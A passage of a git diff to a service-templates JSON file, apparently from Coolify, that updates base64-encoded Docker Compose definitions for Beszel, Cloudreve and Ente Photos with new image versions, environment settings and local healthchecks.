+ - CMD-SHELL
+ - 'valkey-cli ping | grep PONG'
+ interval: 5s
+ timeout: 5s
+ retries: 5
+ start_period: 3s
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index 3c5773d0e..6c7af5dc5 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -254,7 +254,7 @@
"beszel-agent": {
"documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io",
"slogan": "Monitoring agent for Beszel",
- "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"beszel",
"monitoring",
@@ -269,7 +269,7 @@
"beszel": {
"documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io",
"slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.",
- "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xNi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gJ0hVQl9VUkw9aHR0cDovL2Jlc3plbDo4MDkwJwogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC40JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=",
"tags": [
"beszel",
"monitoring",
@@ -684,7 +684,7 @@
"cloudreve": {
"documentation": "https://docs.cloudreve.org/?utm_source=coolify.io",
"slogan": "A self-hosted file management and sharing system.",
- "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NMT1VEUkVWRV81MjEyCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5UeXBlPXBvc3RncmVzCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Ib3N0PXBvc3RncmVzCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuVXNlcj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQ1JfQ09ORl9EYXRhYmFzZS5OYW1lPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Qb3J0PTU0MzIKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5TZXJ2ZXI9cmVkaXM6NjM3OScKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5QYXNzd29yZD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnY2xvdWRyZXZlLWRhdGE6L2Nsb3VkcmV2ZS9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5jCiAgICAgICAgLSAnLXonCiAgICAgICAgLSBsb2NhbGhvc3QKICAgICAgICAtICc1MjEyJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LWFscGluZScKICAgIGNvbW1hbmQ6ICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICcke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUK",
+ "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NMT1VEUkVWRV81MjEyCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5UeXBlPXBvc3RncmVzCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Ib3N0PXBvc3RncmVzCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuVXNlcj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQ1JfQ09ORl9EYXRhYmFzZS5OYW1lPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Qb3J0PTU0MzIKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5TZXJ2ZXI9cmVkaXM6NjM3OScKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5QYXNzd29yZD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnY2xvdWRyZXZlLWRhdGE6L2Nsb3VkcmV2ZS9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5jCiAgICAgICAgLSAnLXonCiAgICAgICAgLSBsb2NhbGhvc3QKICAgICAgICAtICc1MjEyJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==",
"tags": [
"file sharing",
"cloud storage",
@@ -1173,7 +1173,7 @@
"ente-photos": {
"documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io",
"slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.",
- "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01VU0VVTV84MDgwCiAgICAgIC0gJ0VOVEVfSFRUUF9VU0VfVExTPSR7RU5URV9IVFRQX1VTRV9UTFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9BUFBTX1BVQkxJQ19BTEJVTVM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMn0nCiAgICAgIC0gJ0VOVEVfQVBQU19DQVNUPSR7U0VSVklDRV9VUkxfV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMX0nCiAgICAgIC0gJ0VOVEVfREJfSE9TVD0ke0VOVEVfREJfSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdFTlRFX0RCX1BPUlQ9JHtFTlRFX0RCX1BPUlQ6LTU0MzJ9JwogICAgICAtICdFTlRFX0RCX05BTUU9JHtFTlRFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgICAtICdFTlRFX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQVJFX0xPQ0FMX0JVQ0tFVFM9JHtQUklNQVJZX1NUT1JBR0VfQVJFX0xPQ0FMX0JVQ0tFVFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fVVNFX1BBVEhfU1RZTEVfVVJMUz0ke1BSSU1BUllfU1RPUkFHRV9VU0VfUEFUSF9TVFlMRV9VUkxTOi10cnVlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fS0VZPSR7UzNfU1RPUkFHRV9LRVk6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1MzX1NUT1JBR0VfU0VDUkVUOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1MzX1NUT1JBR0VfRU5EUE9JTlQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1JFR0lPTj0ke1MzX1NUT1JBR0VfUkVHSU9OOi11cy1lYXN0LTF9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9CVUNLRVQ9JHtTM19TVE9SQUdFX0JVQ0tFVDo/fScKICAgICAgLSAnRU5URV9TTVRQX0hPU1Q9JHtFTlRFX1NNVFBfSE9TVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9QT1JUPSR7RU5URV9TTVRQX1BPUlR9JwogICAgICAtICdFTlRFX1NNVFBfVVNFUk5BTUU9JHtFTlRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdFTlRFX1NNVFBfUEFTU1dPUkQ9JHtFTlRFX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdFTlRFX1NNVFBfRU1BSUw9JHtFTlRFX1NNVFBfRU1BSUx9JwogICAgICAtICdFTlRFX1NNVFBfU0VOREVSX05BTUU9JHtFTlRFX1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdFTlRFX1NNVFBfRU5DUllQVElPTj0ke0VOVEVfU01UUF9FTkNSWVBUSU9OfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdtdXNldW0tZGF0YTovZGF0YScKICAgICAgLSAnbXVzZXVtLWNvbmZpZzovY29uZmlnJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB3ZWI6CiAgICBpbWFnZTogZ2hjci5pby9lbnRlLWlvL3dlYgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9VUkxfTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9VUkxfV0VCXzMwMDJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtTRVJWSUNFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJHtQT1NUR1JFU19VU0VSfSAtZCAke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==",
+ "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01VU0VVTV84MDgwCiAgICAgIC0gJ0VOVEVfSFRUUF9VU0VfVExTPSR7RU5URV9IVFRQX1VTRV9UTFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9BUFBTX1BVQkxJQ19BTEJVTVM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMn0nCiAgICAgIC0gJ0VOVEVfQVBQU19DQVNUPSR7U0VSVklDRV9VUkxfV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMX0nCiAgICAgIC0gJ0VOVEVfUEhPVE9TX09SSUdJTj0ke1NFUlZJQ0VfVVJMX1dFQn0nCiAgICAgIC0gJ0VOVEVfREJfSE9TVD0ke0VOVEVfREJfSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdFTlRFX0RCX1BPUlQ9JHtFTlRFX0RCX1BPUlQ6LTU0MzJ9JwogICAgICAtICdFTlRFX0RCX05BTUU9JHtFTlRFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgICAtICdFTlRFX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQVJFX0xPQ0FMX0JVQ0tFVFM9JHtQUklNQVJZX1NUT1JBR0VfQVJFX0xPQ0FMX0JVQ0tFVFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fVVNFX1BBVEhfU1RZTEVfVVJMUz0ke1BSSU1BUllfU1RPUkFHRV9VU0VfUEFUSF9TVFlMRV9VUkxTOi10cnVlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fS0VZPSR7UzNfU1RPUkFHRV9LRVk6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1MzX1NUT1JBR0VfU0VDUkVUOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1MzX1NUT1JBR0VfRU5EUE9JTlQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1JFR0lPTj0ke1MzX1NUT1JBR0VfUkVHSU9OOi11cy1lYXN0LTF9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9CVUNLRVQ9JHtTM19TVE9SQUdFX0JVQ0tFVDo/fScKICAgICAgLSAnRU5URV9TTVRQX0hPU1Q9JHtFTlRFX1NNVFBfSE9TVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9QT1JUPSR7RU5URV9TTVRQX1BPUlR9JwogICAgICAtICdFTlRFX1NNVFBfVVNFUk5BTUU9JHtFTlRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdFTlRFX1NNVFBfUEFTU1dPUkQ9JHtFTlRFX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdFTlRFX1NNVFBfRU1BSUw9JHtFTlRFX1NNVFBfRU1BSUx9JwogICAgICAtICdFTlRFX1NNVFBfU0VOREVSX05BTUU9JHtFTlRFX1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdFTlRFX1NNVFBfRU5DUllQVElPTj0ke0VOVEVfU01UUF9FTkNSWVBUSU9OfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdtdXNldW0tZGF0YTovZGF0YScKICAgICAgLSAnbXVzZXVtLWNvbmZpZzovY29uZmlnJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB3ZWI6CiAgICBpbWFnZTogZ2hjci5pby9lbnRlLWlvL3dlYgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9VUkxfTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9VUkxfV0VCXzMwMDJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtTRVJWSUNFX